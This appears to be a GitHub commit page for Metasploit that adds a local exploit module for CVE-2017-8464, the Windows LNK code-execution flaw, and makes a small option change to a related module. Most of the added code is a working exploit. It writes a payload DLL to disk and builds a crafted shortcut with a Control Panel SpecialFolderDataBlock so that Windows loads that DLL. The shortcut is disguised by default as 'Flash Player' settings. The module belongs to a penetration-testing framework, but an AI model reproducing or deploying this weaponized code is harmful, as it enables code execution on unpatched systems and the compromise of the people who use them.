Skip to content

Commit 825ad94

Browse files
committed
Update the advanced option names and a typo
1 parent 482ce00 commit 825ad94

File tree

2 files changed

+171
-1
lines changed

2 files changed

+171
-1
lines changed

modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,7 @@ def initialize(info = {})
4747
],
4848
'DefaultOptions' =>
4949
{
50-
'EXITFUNC' => 'process'
50+
'EXITFUNC' => 'thread'
5151
},
5252
'Arch' => [ARCH_X86, ARCH_X64],
5353
'Payload' =>
Lines changed: 170 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,170 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::EXE
10+
include Msf::Post::File
11+
12+
attr_accessor :exploit_dll_name
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'LNK Code Execution Vulnerability',
19+
'Description' => %q{
20+
This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK)
21+
that contain a dynamic icon, loaded from a malicious DLL.
22+
23+
This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is
24+
similar except an additional SpecialFolderDataBlock is included. The folder ID set
25+
in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass
26+
the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary
27+
DLL file.
28+
29+
If no PATH is specified, the module will use drive letters D through Z so the files
30+
may be placed in the root path of a drive such as a shared VM folder or USB drive.
31+
},
32+
'Author' =>
33+
[
34+
'Uncredited', # vulnerability discovery
35+
'Yorick Koster', # msf module
36+
'Spencer McIntyre' # msf module
37+
],
38+
'License' => MSF_LICENSE,
39+
'References' =>
40+
[
41+
['CVE', '2017-8464'],
42+
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'],
43+
['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'], # writeup
44+
['URL', 'https://msdn.microsoft.com/en-us/library/dd871305.aspx'], # [MS-SHLLINK]: Shell Link (.LNK) Binary File Format
45+
['URL', 'http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm'],
46+
['URL', 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf']
47+
],
48+
'DefaultOptions' =>
49+
{
50+
'EXITFUNC' => 'thread',
51+
'WfsDelay' => 45,
52+
},
53+
'Arch' => [ARCH_X86, ARCH_X64],
54+
'Payload' =>
55+
{
56+
'Space' => 2048
57+
},
58+
'Platform' => 'win',
59+
'Targets' =>
60+
[
61+
[ 'Automatic', { 'Arch' => ARCH_ANY } ],
62+
[ 'Windows x64', { 'Arch' => ARCH_X64 } ],
63+
[ 'Windows x86', { 'Arch' => ARCH_X86 } ]
64+
],
65+
'DefaultTarget' => 0, # Default target is Automatic
66+
'DisclosureDate' => 'Jun 13 2017'
67+
)
68+
)
69+
70+
register_options(
71+
[
72+
OptString.new('FILENAME', [false, 'The LNK file']),
73+
OptString.new('DLLNAME', [false, 'The DLL file containing the payload']),
74+
OptString.new('PATH', [false, 'An explicit path to where the files should be written to'])
75+
]
76+
)
77+
78+
register_advanced_options(
79+
[
80+
OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]),
81+
OptString.new('LNK_COMMENT', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
82+
OptString.new('LNK_DISPLAY_NAME', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
83+
]
84+
)
85+
end
86+
87+
def exploit
88+
path = ::File.join(Msf::Config.data_directory, 'exploits/cve-2017-8464')
89+
arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch']
90+
datastore['EXE::Path'] = path
91+
datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")
92+
93+
path = datastore['PATH'] || session.fs.file.expand_path("%TEMP%")
94+
path.chomp!("\\")
95+
96+
dll = generate_payload_dll
97+
dll_name = datastore['DLLNAME'] || "#{rand_text_alpha(16)}.dll"
98+
dll_path = write_file("#{path}\\#{dll_name}", dll)
99+
100+
lnk = generate_link("#{path}\\#{dll_name}")
101+
lnk_filename = datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk"
102+
lnk_path = write_file("#{path}\\#{lnk_filename}", lnk)
103+
end
104+
105+
def generate_link(path)
106+
vprint_status("Generating LNK file to load: #{path}")
107+
path << "\x00"
108+
display_name = datastore['LNK_DISPLAY_NAME'].dup << "\x00" # LNK Display Name
109+
comment = datastore['LNK_COMMENT'].dup << "\x00"
110+
111+
# Control Panel Applet ItemID with our DLL
112+
cpl_applet = [
113+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
114+
0x00, 0x00
115+
].pack('C*')
116+
cpl_applet << [path.length].pack('v')
117+
cpl_applet << [display_name.length].pack('v')
118+
cpl_applet << path.unpack('C*').pack('v*')
119+
cpl_applet << display_name.unpack('C*').pack('v*')
120+
cpl_applet << comment.unpack('C*').pack('v*')
121+
122+
# LinkHeader
123+
ret = [
124+
0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C
125+
0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046
126+
0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)
127+
0x00, 0x00, 0x00, 0x00, # FileAttributes
128+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime
129+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime
130+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime
131+
0x00, 0x00, 0x00, 0x00, # FileSize
132+
0x00, 0x00, 0x00, 0x00, # IconIndex
133+
0x00, 0x00, 0x00, 0x00, # ShowCommand
134+
0x00, 0x00, # HotKey
135+
0x00, 0x00, # Reserved1
136+
0x00, 0x00, 0x00, 0x00, # Reserved2
137+
0x00, 0x00, 0x00, 0x00 # Reserved3
138+
].pack('C*')
139+
140+
# IDList
141+
idlist_data = ''
142+
# ItemID = ItemIDSize (2 bytes) + Data (variable)
143+
idlist_data << [0x12 + 2].pack('v')
144+
idlist_data << [
145+
# All Control Panel Items
146+
0x1f, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
147+
0x30, 0x9d
148+
].pack('C*')
149+
# ItemID = ItemIDSize (2 bytes) + Data (variable)
150+
idlist_data << [cpl_applet.length + 2].pack('v')
151+
idlist_data << cpl_applet
152+
idlist_data << [0x00].pack('v') # TerminalID
153+
154+
# LinkTargetIDList
155+
ret << [idlist_data.length].pack('v') # IDListSize
156+
ret << idlist_data
157+
158+
# ExtraData
159+
# SpecialFolderDataBlock
160+
ret << [
161+
0x10, 0x00, 0x00, 0x00, # BlockSize
162+
0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005
163+
0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)
164+
0x14, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList
165+
].pack('C*')
166+
# TerminalBlock
167+
ret << [0x00, 0x00, 0x00, 0x00].pack('V')
168+
ret
169+
end
170+
end

0 commit comments

Comments
 (0)